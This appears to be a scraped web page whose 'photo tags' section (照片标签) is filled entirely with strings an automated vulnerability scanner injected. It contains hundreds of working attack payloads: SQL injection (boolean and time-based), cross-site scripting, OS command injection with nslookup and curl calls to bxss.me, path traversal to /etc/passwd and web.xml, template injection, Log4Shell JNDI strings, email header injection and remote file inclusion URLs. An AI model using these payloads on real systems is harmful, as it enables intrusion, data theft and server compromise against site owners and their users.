×
照片标签：
- 88952634
- 88952634'`"(
- 88952634-0
- 88952634s3
- 88952634'+'
- 88952634'
- 88952634'||'
- 1
- 1'"
- \
- 1 %2527%2522
- @@WgJbG
- JyI=
- '"
- ''""
- response.write(9136624*9799480)
- '+response.write(9136624*9799480)+'
- "+response.write(9136624*9799480)+"
- CDONFJyH
- echo uzabau$()\ wtwjhu\nz^xyu||a #' &echo uzabau$()\ wtwjhu\nz^xyu||a #|" &echo uzabau$()\ wtwjhu\nz^xyu||a #
- &echo ijvant$()\ lneivi\nz^xyu||a #' &echo ijvant$()\ lneivi\nz^xyu||a #|" &echo ijvant$()\ lneivi\nz^xyu||a #
- ../../../../../../../../../../etc/passwd
- |echo mndimb$()\ sqiyfa\nz^xyu||a #' |echo mndimb$()\ sqiyfa\nz^xyu||a #|" |echo mndimb$()\ sqiyfa\nz^xyu||a #
- 1<esi:include src="http://bxss.me/rpb.png"/>
- ../../../../../../../../../../windows/win.ini
- (nslookup hitkqnjwzadez5a74f.bxss.me||perl -e "gethostbyname('hitkqnjwzadez5a74f.bxss.me')")
- $(nslookup hitviorubzdaia6e5c.bxss.me||perl -e "gethostbyname('hitviorubzdaia6e5c.bxss.me')")
- 12345'"\'\")
- &(nslookup hitlmzavkgviae4dbf.bxss.me||perl -e "gethostbyname('hitlmzavkgviae4dbf.bxss.me')")&'\"`0&(nslookup hitlmzavkgviae4dbf.bxss.me||perl -e "gethostbyname('hitlmzavkgviae4dbf.bxss.me')")&`'
- ../1
- |(nslookup hitaovqupaqqp1f6cc.bxss.me||perl -e "gethostbyname('hitaovqupaqqp1f6cc.bxss.me')")
- `(nslookup hitlxvvjwlubo8968f.bxss.me||perl -e "gethostbyname('hitlxvvjwlubo8968f.bxss.me')")`
- ${9999061+10000414}
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
- 1some_inexistent_file_with_long_name .jpg
- )
- Http://bxss.me/t/fit.txt
- 1&n907481=v999700
- !(()&&!|*|*|
- '"()
- http://bxss.me/t/fit.txt?.jpg
- ^(#$!@#$)(()))******
- bxss.me
- '.gethostbyname(lc('hitrm'.'fnqptwwse3664.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(83).chr(98).chr(80).'
- ".gethostbyname(lc("hitba"."xmzbokmv2ec1b.bxss.me."))."A".chr(67).chr(hex("58")).chr(117).chr(73).chr(121).chr(72)."
- HttP://bxss.me/t/xss.html?%00
- bxss.me/t/xss.html?%00
- '
- "+"A".concat(70-3).concat(22*4).concat(98).concat(89).concat(117).concat(76)+(require"socket" Socket.gethostbyname("hitak"+"ybbgeweg43709.bxss.me.")[3].to_s)+"
- "
- bibs
- ${@print(md5(31337))}
- '+'A'.concat(70-3).concat(22*4).concat(97).concat(76).concat(108).concat(85)+(require'socket' Socket.gethostbyname('hitam'+'kfonitgvfc386.bxss.me.')[3].to_s)+'
- ${@print(md5(31337))}\
- '.print(md5(31337)).'
- bibs/.
- )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
- /xfs.bxss.me
- <!--
- 1'"()&%<acx><ScRiPt >6Qoq(9561)</ScRiPt>
- '"()&%<acx><ScRiPt >6Qoq(9701)</ScRiPt>
- 19666477
- acu3265＜s1﹥s2ʺs3ʹuca3265
- acux1404z1z2abcxuca1404
- {{50019*50310}}
- acu2831＜s1﹥s2ʺs3ʹuca2831
- acux4005z1z2abcxuca4005
- {{50372*49597}}
- acu4532＜s1﹥s2ʺs3ʹuca4532
- acux7512z1z2abcxuca7512
- CWS000x=1N@EI)@ HiP"DF G&َ7܂rX
- {{49556*50300}}
- 1"onmouseover=6Qoq(9481)"
- 1" Fvln=6Qoq([!+!]) YwS="
- 1\u0022onmouseover=6Qoq(9916)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%36%51%6F%71%28%39%33%32%33%29%22
- "onmouseover=6Qoq(9278)//
- 1"sTYLe='acu:Expre/**/SSion(6Qoq(9114))'bad="
- 1"><script>6Qoq(9916)</script>
- 1<ScRiPt >6Qoq(9914)</ScRiPt>
- 1<WFKM5F>IS9QU[!+!]</WFKM5F>
- 1<script>6Qoq(9941)</script>
- 1<ScR<ScRiPt>IpT>6Qoq(9812)</sCr<ScRiPt>IpT>
- 1<ScRiPt >6Qoq(9523)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9605></ScRiPt>
- 1< ScRiPt >6Qoq(9590)</ScRiPt>
- 1<video><source onerror="javascript:6Qoq(9717)">
- 1<svg onload=6Qoq(9949)
- 1<isindex type=image src=1 onerror=6Qoq(9878)>
- 1<iframe src='data:text/html
- 1<body onload=6Qoq(9506)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=6Qoq(9010)>
- 1<img src=xyz OnErRor=6Qoq(9401)>
- 1<img/src=">" onerror=alert(9548)>
- %31%3C%53%63%52%69%50%74%20%3E%36%51%6F%71%289557%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\6Qoq(9510)\u003C/sCripT\u003E
- 1<
- <img acu onmouseover=6Qoq(9240) //>
- 1<input autofocus onfocus=6Qoq(9750)>
- <a HrEF=http://xss.bxss.me></a>
- <a HrEF=jaVaScRiPT:>
- [url=http://xss.bxss.me][/url]
- 1<img<!-- --> src=x onerror=alert(9380)
- 1}body{acu:Expre/**/SSion(6Qoq(9479))}
- 1<% contenteditable onresize=6Qoq(9125)>
- 1gTvvI <ScRiPt >6Qoq(9381)</ScRiPt>
- 1<WNGKBN>XNBOC[!+!]</WNGKBN>
- 1<ifRAme sRc=9963.com></IfRamE>
- 1<b1LWKo x=9061>
- 1<img sRc='http://attacker-9457/log.php?
- 1<OyMYua<
- 4oNCWHks
- -1 OR 2+568-568-1=0+0+0+1 --
- -1 OR 2+763-763-1=0+0+0+1
- -1' OR 2+825-825-1=0+0+0+1 --
- -1' OR 2+142-142-1=0+0+0+1 or 'TRQ5Ph5f'='
- -1" OR 2+654-654-1=0+0+0+1 --
- 786'
- if(now()=sysdate()
- sleep(12)
- 0)
- 0'XOR(if(now()=sysdate()
- 0))XOR'Z
- 0"XOR(if(now()=sysdate()
- 0))XOR"Z
- (select(0)from(select(sleep(12)))v)/*'+(select(0)from(select(sleep(12)))v)+'"+(select(0)from(select(sleep(12)))v)+"*/
- -1
- -1)
- 1 waitfor delay '0:0:12' --
- ozcfzQOz'
- -5 OR 12=(SELECT 12 FROM PG_SLEEP(12))--
- -5) OR 165=(SELECT 165 FROM PG_SLEEP(12))--
- -1)) OR 204=(SELECT 204 FROM PG_SLEEP(12))--
- fh4Hpdcx' OR 440=(SELECT 440 FROM PG_SLEEP(12))--
- nQ7bNFYD') OR 399=(SELECT 399 FROM PG_SLEEP(12))--
- yrFs7JSN')) OR 751=(SELECT 751 FROM PG_SLEEP(12))--
- 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99)
- 12)
- 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)
- 12)||'
- '||(select 1 from (select pg_sleep(12))x)||'
- ''||(select 1 from (select pg_sleep(12))x)||''
- @@Xn59R
- M6QrlpUH
- echo jswlhw$()\ hpmsxn\nz^xyu||a #' &echo jswlhw$()\ hpmsxn\nz^xyu||a #|" &echo jswlhw$()\ hpmsxn\nz^xyu||a #
- response.write(9396192*9953657)
- &echo vprrwa$()\ paitci\nz^xyu||a #' &echo vprrwa$()\ paitci\nz^xyu||a #|" &echo vprrwa$()\ paitci\nz^xyu||a #
- '+response.write(9396192*9953657)+'
- ${9999022+9999077}
- "+response.write(9396192*9953657)+"
- |echo wqlvos$()\ ikbojm\nz^xyu||a #' |echo wqlvos$()\ ikbojm\nz^xyu||a #|" |echo wqlvos$()\ ikbojm\nz^xyu||a #
- (nslookup hitysdlemomazef791.bxss.me||perl -e "gethostbyname('hitysdlemomazef791.bxss.me')")
- 1&n940579=v919520
- $(nslookup hitzludpcxyca040c8.bxss.me||perl -e "gethostbyname('hitzludpcxyca040c8.bxss.me')")
- &(nslookup hitibxxrltsjr99292.bxss.me||perl -e "gethostbyname('hitibxxrltsjr99292.bxss.me')")&'\"`0&(nslookup hitibxxrltsjr99292.bxss.me||perl -e "gethostbyname('hitibxxrltsjr99292.bxss.me')")&`'
- |(nslookup hitotbzfexqsg57077.bxss.me||perl -e "gethostbyname('hitotbzfexqsg57077.bxss.me')")
- `(nslookup hitjbumdsoojgdcbf3.bxss.me||perl -e "gethostbyname('hitjbumdsoojgdcbf3.bxss.me')")`
- '.gethostbyname(lc('hityb'.'gbreqbbn366b1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(79).chr(108).chr(80).'
- ".gethostbyname(lc("hityu"."emyjxjlj467ea.bxss.me."))."A".chr(67).chr(hex("58")).chr(111).chr(82).chr(101).chr(78)."
- "+"A".concat(70-3).concat(22*4).concat(111).concat(70).concat(98).concat(81)+(require"socket" Socket.gethostbyname("hitnh"+"kshqjbelc5b06.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(118).concat(68).concat(112).concat(82)+(require'socket' Socket.gethostbyname('hitug'+'ftbrtvgc48dec.bxss.me.')[3].to_s)+'
- 1'"()&%<acx><ScRiPt >ZsMI(9720)</ScRiPt>
- '"()&%<acx><ScRiPt >ZsMI(9267)</ScRiPt>
- 19294954
- acu7528＜s1﹥s2ʺs3ʹuca7528
- acux6467z1z2abcxuca6467
- {{49122*50325}}
- acu7263＜s1﹥s2ʺs3ʹuca7263
- acux6702z1z2abcxuca6702
- {{49332*49708}}
- acu8212＜s1﹥s2ʺs3ʹuca8212
- acux9523z1z2abcxuca9523
- {{50154*49587}}
- o8Fbc5l2
- -1 OR 2+469-469-1=0+0+0+1 --
- 1"onmouseover=ZsMI(9847)"
- -1 OR 2+726-726-1=0+0+0+1
- -1' OR 2+933-933-1=0+0+0+1 --
- 1" L3jq=ZsMI([!+!]) soZ="
- -1' OR 2+675-675-1=0+0+0+1 or 'oy33ddne'='
- -1" OR 2+868-868-1=0+0+0+1 --
- 888'
- 1\u0022onmouseover=ZsMI(9681)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%5A%73%4D%49%28%39%35%37%34%29%22
- "onmouseover=ZsMI(9567)//
- 1"sTYLe='acu:Expre/**/SSion(ZsMI(9937))'bad="
- 1"><script>ZsMI(9331)</script>
- 1<ScRiPt >ZsMI(9106)</ScRiPt>
- 1<WS7QJH>GCBFQ[!+!]</WS7QJH>
- 1<script>ZsMI(9244)</script>
- 1<ScR<ScRiPt>IpT>ZsMI(9363)</sCr<ScRiPt>IpT>
- 1<ScRiPt >ZsMI(9106)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9255></ScRiPt>
- 1< ScRiPt >ZsMI(9506)</ScRiPt>
- 1<video><source onerror="javascript:ZsMI(9012)">
- 1<svg onload=ZsMI(9440)
- 1<isindex type=image src=1 onerror=ZsMI(9379)>
- 1<body onload=ZsMI(9137)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=ZsMI(9286)>
- 1<img src=xyz OnErRor=ZsMI(9278)>
- 1<img/src=">" onerror=alert(9737)>
- %31%3C%53%63%52%69%50%74%20%3E%5A%73%4D%49%289878%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\ZsMI(9200)\u003C/sCripT\u003E
- <img acu onmouseover=ZsMI(9877) //>
- 1<input autofocus onfocus=ZsMI(9286)>
- 1<img<!-- --> src=x onerror=alert(9357)
- 1}body{acu:Expre/**/SSion(ZsMI(9938))}
- 1<% contenteditable onresize=ZsMI(9689)>
- 1P4GUo <ScRiPt >ZsMI(9160)</ScRiPt>
- 1<WXMFPH>K8GME[!+!]</WXMFPH>
- 1<ifRAme sRc=9099.com></IfRamE>
- 1<yNpMzx x=9681>
- 1<img sRc='http://attacker-9741/log.php?
- 1<myZLkc<
- aiJBE4hb'
- -5 OR 185=(SELECT 185 FROM PG_SLEEP(12))--
- -5) OR 396=(SELECT 396 FROM PG_SLEEP(12))--
- -1)) OR 696=(SELECT 696 FROM PG_SLEEP(12))--
- Ole7492Z' OR 393=(SELECT 393 FROM PG_SLEEP(12))--
- tRCV2JB6') OR 651=(SELECT 651 FROM PG_SLEEP(12))--
- Q9KlYI0i')) OR 899=(SELECT 899 FROM PG_SLEEP(12))--
- 1xsstest
- 1linkayoussecurity1
- /etc/./passwd
- www.anonymous.com/
- WebScanCustomInjectedHeader: Injected_by_Anymous
- 1 anD 7682=8526--
- http://hit3484256b42.bxss.me/
- 1'")
- 1' oRder by 34--
- 1 anD 6867=5230#
- 1&cat /etc/./hosts&
- ../../../../../WEB-INF/web.xml
- /../../../../../../../windows/win.ini
- 1 anD 4927=5185%00
- 1 anD 8899=8899%00
- 1) anD 6332=6332#
- 1&type c:\windows\win.ini&
- /../../../../../../../etc/./passwd .htm
- 1' anD 7693=6559 anD '1'='1
- 1*/-->'"></iframe></script></style></title></textarea><script >alert(30160)</script>
- ../../../../WEB-INF/web.xml?
- 1|type c:\windows\win.ini
- */-->'"></iframe></script></style></title></textarea><script >alert(89190)</script>
- http://www.site120.cn/2012_rFi_0702.txt
- ../../../../../WEB-INF/web.xml?
- 1' oRder by 34#
- ../../WEB-INF/web.xml
- 1' anD 1840=6458 #
- 1' anD 6306=6306 #
- 1 cat /etc/./hosts
- hTTp://www.site120.cn/2012_rFi_0702.txt?
- ../../../../../../WEB-INF/web.xml?
- 1 type c:\windows\win.ini
- ../WEB-INF/web.xml
- 1' anD 3764=3764 %00
- 1' anD 5843=8521 %00
- 1%' oRder by 34#
- 保存%' oRder by 1#
- 1') anD 6198=7778 anD ('1'='1
- 1') anD 7644=7644 anD ('1'='1
- /.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/windows/win.ini
- /.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/./passwd
- 1'
- 1') anD 2428=2428 %00
- 1') anD 4630=5054 %00
- ../../../WEB-INF/web.xml?
- 1(
- 1%' anD 1521=1521 anD '%'='
- 1%' anD 9729=9506 --
- 199999999999999999999
- /etc/./anonymousec
- 1%' anD 6542=6542 /*
- 1%' anD 5081=4034 /*
- 1YYYYYYYYYYYYYYYYYYYY
- 1%' anD 6229=9512 %00
- .././.././.././.././.././.././.././.././.././.././.././.././.././.././.././.././etc/./anonymousec
- 1%' anD 0261=0261 %00
- /..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows/win.ini .htm
- 1%') anD 9689=0786 anD '%'='
- .././.././.././.././.././.././.././.././.././.././.././.././.././.././.././.././etc/./anonymousec .htm
- 1%') anD 6882=6882 --
- 1%') anD 9964=9078 --
- 1%') anD 8889=8889 #
- 1%') anD 7315=7810 #
- ../../../WEB-INF/web.xml
- ../../../../WEB-INF/web.xml
- -1 oR 0316=0316
- -1 oR 6651=4376#
- -1 oR 9900=9900#
- -1 oR 8677=8751/*
- -1 oR 5610=5610/*
- -1) oR 1808=9374#
- 1' oR 9567=9567 anD '1'='1
- 1' oR 4353=6773 anD '1'='1
- 1' oR 5785=7585 %00
- 1' oR 2799=2799 %00
- 1') oR 0021=4871 anD '1'='1
- 1') oR 7585=7585 anD '1'='1
- 1') oR 3086=3086 --
- 1') oR 0397=0397 #
- 1') oR 0888=8567 #
- 1') oR 5594=5594 /*
- 1') oR 1611=0612 /*
- 1') oR 9442=9442 %00
- 1') oR 3693=2483 %00
- 1%' oR 6307=6307 anD '%%'='%
- 1%' oR 1233=5465 anD '%%'='%
- 1%' oR 4786=4786 anD '%'='
- 1%' oR 6009=1268 anD '%'='
- 1%' oR 1378=6905 #
- 1%' oR 4095=4095 #
- 1%' oR 6556=4958 /*
- 1%' oR 6951=6951 %00
- 1%') oR 0120=8720 --
- 1%') oR 7241=7241 --
- 1%') oR 4354=4354 #
- 1%') oR 3562=0546 #
- 1%') oR 7510=7510 /*
- 1%') oR 9387=4452 /*
- 1%') oR 0861=4259 %00
- 1%') oR 9648=9648 %00
- 1' RLIKE (SELECT (CASE WHEN (2890=2890) THEN 1 ELSE 0x28 END))-- GSiC
- 1' RLIKE (SELECT (CASE WHEN (3171=1208) THEN 1 ELSE 0x28 END))-- GSiC
- print 8-9999108099999
- "Response.Write(8-99991080)"
- ')
- ']
- ]
- ".print 8-9999108099999
- '.print 8-9999108099999
- Response.Write(8-9999108099999)
- ".(print 8-9999108099999)."
- 1 oRder by 34
- 1"
- 1 anD 5786=5786--
- 1 if(now()=sysdate()
- sleep(6)
- 0)/*'XOR(if(now()=sysdate()
- 0))OR'"XOR(if(now()=sysdate()
- 0))OR"*/
- `type c:\windows\win.ini`
- 1 anD 7961=8494#
- 保存%' oRder by 1
- /../../../../../../../windows/win.ini .htm
- 1|cat /etc/./hosts
- 1) and if(now()=sysdate()
- sleep(0)
- 1' anD 8006=8006 --
- ../WEB-INF/web.xml?
- ../../WEB-INF/web.xml?
- 1' anD 8903=8903 /*
- 保存' oRder by 1
- 1') anD 4267=4267 %00
- 1') and sleep(0)
- 1) and sleep(0)
- 1%' oRder by 34
- 1 and sleep(0) #
- ../../../../../../WEB-INF/web.xml
- 保存 oRder by 1#
- 1%') anD 8978=6320 --
- 1%') anD 3309=3309 %00
- /./etc/./anonymousec .htm
- -1 oR 9154=8747#
- -1 oR 5537=5531/*
- 1 and 1 in (select BENCHMARK(28000000
- MD5(CHAR(97)))) --
- -1 oR 5089=1710%00
- 1) and 1 in (select BENCHMARK(28000000
- 1') and 1 in (select BENCHMARK(28000000
- 1' oR 4274=2133 #
- 1' oR 5018=5018 #
- 1) and 1 in (select BENCHMARK(0
- 1') oR 5970=5830 %00
- 1) and (select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/
- 1%' oR 4967=2169 anD '%%'='%
- 1%' oR 0435=1794 #
- 1) and (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/
- 1%' oR 2448=2448 /*
- 1%' oR 3713=2677 /*
- 1)
- 1' anD 1=DBMS_PIPE.RECEIVE_MESSAGE(CHR(90)||CHR(80)||CHR(71)||CHR(74)
- 0)--
- 1 anD 1=DBMS_PIPE.RECEIVE_MESSAGE(CHR(90)||CHR(80)||CHR(71)||CHR(74)
- 1) AND 1=(SELECT 1 FROM PG_SLEEP(6)) --
- 1') AND 1=(SELECT 1 FROM PG_SLEEP(0)) --
- k3FOOWZN
- -1 OR 2+156-156-1=0+0+0+1 --
- -1 OR 2+700-700-1=0+0+0+1
- -1' OR 2+903-903-1=0+0+0+1 --
- -1' OR 2+610-610-1=0+0+0+1 or 'UCnlfroi'='
- -1" OR 2+140-140-1=0+0+0+1 --
- sleep(15)
- (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- 1 waitfor delay '0:0:15' --
- x9IUma7U'
- -5 OR 330=(SELECT 330 FROM PG_SLEEP(15))--
- -5) OR 749=(SELECT 749 FROM PG_SLEEP(15))--
- -1)) OR 677=(SELECT 677 FROM PG_SLEEP(15))--
- pWmJPLFa
- -1 OR 2+667-667-1=0+0+0+1 --
- 0MujgWvs' OR 988=(SELECT 988 FROM PG_SLEEP(15))--
- -1 OR 2+566-566-1=0+0+0+1
- -1' OR 2+664-664-1=0+0+0+1 --
- -1' OR 2+509-509-1=0+0+0+1 or 'BQyglvfT'='
- -1" OR 2+522-522-1=0+0+0+1 --
- wpjiOyt3') OR 404=(SELECT 404 FROM PG_SLEEP(15))--
- 5hzHM96D')) OR 362=(SELECT 362 FROM PG_SLEEP(15))--
- 15)
- 15)||'
- '||(select 1 from (select pg_sleep(15))x)||'
- -1; waitfor delay '0:0:15' --
- ''||(select 1 from (select pg_sleep(15))x)||''
- @@wdx7L
- -1); waitfor delay '0:0:15' --
- gz1lG58h'; waitfor delay '0:0:15' --
- -5 OR 374=(SELECT 374 FROM PG_SLEEP(15))--
- -5) OR 160=(SELECT 160 FROM PG_SLEEP(15))--
- -1)) OR 750=(SELECT 750 FROM PG_SLEEP(15))--
- KtYLdtdq' OR 407=(SELECT 407 FROM PG_SLEEP(15))--
- pojqQyUC') OR 312=(SELECT 312 FROM PG_SLEEP(15))--
- dQPXeBtz')) OR 934=(SELECT 934 FROM PG_SLEEP(15))--
- @@LLbG1
- 6KUALaFb
- -1 OR 2+700-700-1=0+0+0+1 --
- -1 OR 2+320-320-1=0+0+0+1
- -1' OR 2+30-30-1=0+0+0+1 --
- -1' OR 2+458-458-1=0+0+0+1 or 'pcQGg2at'='
- -1" OR 2+31-31-1=0+0+0+1 --
- nqm4qejU'
- -5 OR 481=(SELECT 481 FROM PG_SLEEP(15))--
- -5) OR 276=(SELECT 276 FROM PG_SLEEP(15))--
- -1)) OR 113=(SELECT 113 FROM PG_SLEEP(15))--
- kXVUYl8p' OR 292=(SELECT 292 FROM PG_SLEEP(15))--
- CnYI0qE2') OR 392=(SELECT 392 FROM PG_SLEEP(15))--
- LtXM9lcs')) OR 960=(SELECT 960 FROM PG_SLEEP(15))--
- @@hLRHg
- 19YnKQ0GIO
- response.write(9689703*9679281)
- echo sgumvm$()\ lyfukz\nz^xyu||a #' &echo sgumvm$()\ lyfukz\nz^xyu||a #|" &echo sgumvm$()\ lyfukz\nz^xyu||a #
- ../../../../../../../../../../../../../../etc/passwd
- &echo lgijfx$()\ yeqxpa\nz^xyu||a #' &echo lgijfx$()\ yeqxpa\nz^xyu||a #|" &echo lgijfx$()\ yeqxpa\nz^xyu||a #
- "+response.write(9689703*9679281)+"
- |echo sfnmyr$()\ cvvdct\nz^xyu||a #' |echo sfnmyr$()\ cvvdct\nz^xyu||a #|" |echo sfnmyr$()\ cvvdct\nz^xyu||a #
- (nslookup -q=cname hitfxohktozpca210b.bxss.me||curl hitfxohktozpca210b.bxss.me))
- $(nslookup -q=cname hitspklelaqeoeb4e4.bxss.me||curl hitspklelaqeoeb4e4.bxss.me)
- &nslookup -q=cname hitsqitjxrilc26dc0.bxss.me&'\"`0&nslookup -q=cname hitsqitjxrilc26dc0.bxss.me&`'
- &(nslookup -q=cname hitkaapgrpymr1a669.bxss.me||curl hitkaapgrpymr1a669.bxss.me)&'\"`0&(nslookup -q=cname hitkaapgrpymr1a669.bxss.me||curl hitkaapgrpymr1a669.bxss.me)&`'
- |(nslookup -q=cname hitpypsfnnfrs38b74.bxss.me||curl hitpypsfnnfrs38b74.bxss.me)
- `(nslookup -q=cname hitwirqhpcgoe5ccaa.bxss.me||curl hitwirqhpcgoe5ccaa.bxss.me)`
- 1 bcc:074625.9592-498013.9592.78fee.19515.2@bxss.me
- to@example.com> bcc:074625.9592-498014.9592.78fee.19515.2@bxss.me
- ${9999564+9999397}
- '.gethostbyname(lc('hitou'.'rulwdtosbd0c7.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(85).chr(102).chr(78).'
- http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
- ".gethostbyname(lc("hitzj"."ybkkstfy3efac.bxss.me."))."A".chr(67).chr(hex("58")).chr(103).chr(68).chr(106).chr(79)."
- 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
- /etc/shells
- c:/windows/win.ini
- 1'&&sleep(27*1000)*zcilly&&'
- 1"&&sleep(27*1000)*udouwn&&"
- 1'||sleep(27*1000)*chpdrw||'
- 1"||sleep(27*1000)*hruopo||"
- "+"A".concat(70-3).concat(22*4).concat(111).concat(89).concat(98).concat(70)+(require"socket" Socket.gethostbyname("hitfy"+"yffgzfqred58f.bxss.me.")[3].to_s)+"
- 1'"()&%<zzz><ScRiPt >0CPq(9549)</ScRiPt>
- '"()&%<zzz><ScRiPt >0CPq(9844)</ScRiPt>
- 19420885
- Z6LgERDn
- -1 OR 2+558-558-1=0+0+0+1 --
- -1 OR 2+283-283-1=0+0+0+1
- -1' OR 2+115-115-1=0+0+0+1 --
- -1' OR 2+720-720-1=0+0+0+1 or '3hCdxoHi'='
- -1" OR 2+593-593-1=0+0+0+1 --
- -5) OR 317=(SELECT 317 FROM PG_SLEEP(15))--
- Ad2BcTvb')) OR 242=(SELECT 242 FROM PG_SLEEP(15))--
- hwYGvyNs
- -1 OR 2+520-520-1=0+0+0+1 --
- -1 OR 2+720-720-1=0+0+0+1
- -1' OR 2+565-565-1=0+0+0+1 --
- -1' OR 2+193-193-1=0+0+0+1 or '8GgcEgiL'='
- -1" OR 2+861-861-1=0+0+0+1 --
- fHGAEFzA'; waitfor delay '0:0:15' --
- -5 OR 620=(SELECT 620 FROM PG_SLEEP(15))--
- -5) OR 602=(SELECT 602 FROM PG_SLEEP(15))--
- -1)) OR 932=(SELECT 932 FROM PG_SLEEP(15))--
- FPMnHOML' OR 651=(SELECT 651 FROM PG_SLEEP(15))--
- OfgwSmhO') OR 212=(SELECT 212 FROM PG_SLEEP(15))--
- U53WD8vP')) OR 34=(SELECT 34 FROM PG_SLEEP(15))--
- @@0NycM
- at2QvRz4
- 1*1
- -1 OR 2+738-738-1=0+0+0+1
- -1 OR 3+738-738-1=0+0+0+1
- -1 OR 3*2<(0+5+738-738)
- -1 OR 3*2>(0+5+738-738)
- hM6bw0c3'
- -5 OR 239=(SELECT 239 FROM PG_SLEEP(15))--
- -5) OR 726=(SELECT 726 FROM PG_SLEEP(15))--
- -1)) OR 137=(SELECT 137 FROM PG_SLEEP(15))--
- XUALXsme' OR 194=(SELECT 194 FROM PG_SLEEP(15))--
- vIb9nTJx') OR 34=(SELECT 34 FROM PG_SLEEP(15))--
- kXEDaB45')) OR 933=(SELECT 933 FROM PG_SLEEP(15))--
- @@QeEDw
- kdXB9GDz
- -1 OR 2+301-301-1=0+0+0+1 --
- -1 OR 2+349-349-1=0+0+0+1
- -1' OR 2+272-272-1=0+0+0+1 --
- -1' OR 2+778-778-1=0+0+0+1 or 'YYFeiQTe'='
- -1" OR 2+405-405-1=0+0+0+1 --
- eceLWwfj'; waitfor delay '0:0:15' --
- -5 OR 631=(SELECT 631 FROM PG_SLEEP(15))--
- -5) OR 299=(SELECT 299 FROM PG_SLEEP(15))--
- -1)) OR 795=(SELECT 795 FROM PG_SLEEP(15))--
- ZLRjYW0y' OR 223=(SELECT 223 FROM PG_SLEEP(15))--
- S0cCAnma') OR 933=(SELECT 933 FROM PG_SLEEP(15))--
- TvoGN23M')) OR 542=(SELECT 542 FROM PG_SLEEP(15))--
- @@K9Uua
- EU6SK9sy
- -1 OR 2+876-876-1=0+0+0+1
- -1 OR 3+876-876-1=0+0+0+1
- -1 OR 3*2<(0+5+876-876)
- -1 OR 3*2>(0+5+876-876)
- kNdcJBr9'
- -5 OR 355=(SELECT 355 FROM PG_SLEEP(15))--
- -5) OR 970=(SELECT 970 FROM PG_SLEEP(15))--
- -1)) OR 577=(SELECT 577 FROM PG_SLEEP(15))--
- ijuU1ZwY' OR 230=(SELECT 230 FROM PG_SLEEP(15))--
- vISwTH2j') OR 72=(SELECT 72 FROM PG_SLEEP(15))--
- f5na1Cjj')) OR 682=(SELECT 682 FROM PG_SLEEP(15))--
- @@fwfz2
- Pr3wy5WR
- -1 OR 2+526-526-1=0+0+0+1 --
- -1 OR 2+294-294-1=0+0+0+1
- -1' OR 2+192-192-1=0+0+0+1 or 'SHllGCBT'='
- -1" OR 2+872-872-1=0+0+0+1 --
- sleep(5)
- kkPF83ei'
- -5 OR 336=(SELECT 336 FROM PG_SLEEP(15))--
- -5) OR 907=(SELECT 907 FROM PG_SLEEP(15))--
- -1)) OR 747=(SELECT 747 FROM PG_SLEEP(15))--
- n7UXF8Ve' OR 438=(SELECT 438 FROM PG_SLEEP(15))--
- ZH5nPAi0') OR 944=(SELECT 944 FROM PG_SLEEP(15))--
- X2wwBjgU')) OR 193=(SELECT 193 FROM PG_SLEEP(15))--
- @@WNmxM
- czVbXnoL
- -1 OR 2+762-762-1=0+0+0+1 --
- -1 OR 2+322-322-1=0+0+0+1
- -1' OR 2+547-547-1=0+0+0+1 --
- -1' OR 2+489-489-1=0+0+0+1 or '1V5N8uT0'='
- -1" OR 2+86-86-1=0+0+0+1 --
- 4hmccXjK'
- -5 OR 108=(SELECT 108 FROM PG_SLEEP(15))--
- -5) OR 338=(SELECT 338 FROM PG_SLEEP(15))--
- -1)) OR 599=(SELECT 599 FROM PG_SLEEP(15))--
- DJxf4cja' OR 652=(SELECT 652 FROM PG_SLEEP(15))--
- GJwmdFl4') OR 571=(SELECT 571 FROM PG_SLEEP(15))--
- 2kVNH8mQ')) OR 654=(SELECT 654 FROM PG_SLEEP(15))--
- @@k25r3
- 14UAngKq
- -1 OR 2+29-29-1=0+0+0+1 --
- -1 OR 2+774-774-1=0+0+0+1
- -1' OR 2+216-216-1=0+0+0+1 --
- -1' OR 2+139-139-1=0+0+0+1 or 'xxcYGyK9'='
- -1" OR 2+326-326-1=0+0+0+1 --
- @@R42gs
- response.write(9294909*9426600)
- ${j${::-n}di:dns${::-:}//hittvchrtqidm82b46${::-.}bxss.me}zzzz
- '+response.write(9294909*9426600)+'
- "+response.write(9294909*9426600)+"
- ${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j.009247.5519-495446.5519.e1cc8${::-.}1${::-.}bxss.me}}
- AkURwZ4C
- echo iluyjl$()\ kcrwxq\nz^xyu||a #' &echo iluyjl$()\ kcrwxq\nz^xyu||a #|" &echo iluyjl$()\ kcrwxq\nz^xyu||a #
- &echo dcmarn$()\ wmwqay\nz^xyu||a #' &echo dcmarn$()\ wmwqay\nz^xyu||a #|" &echo dcmarn$()\ wmwqay\nz^xyu||a #
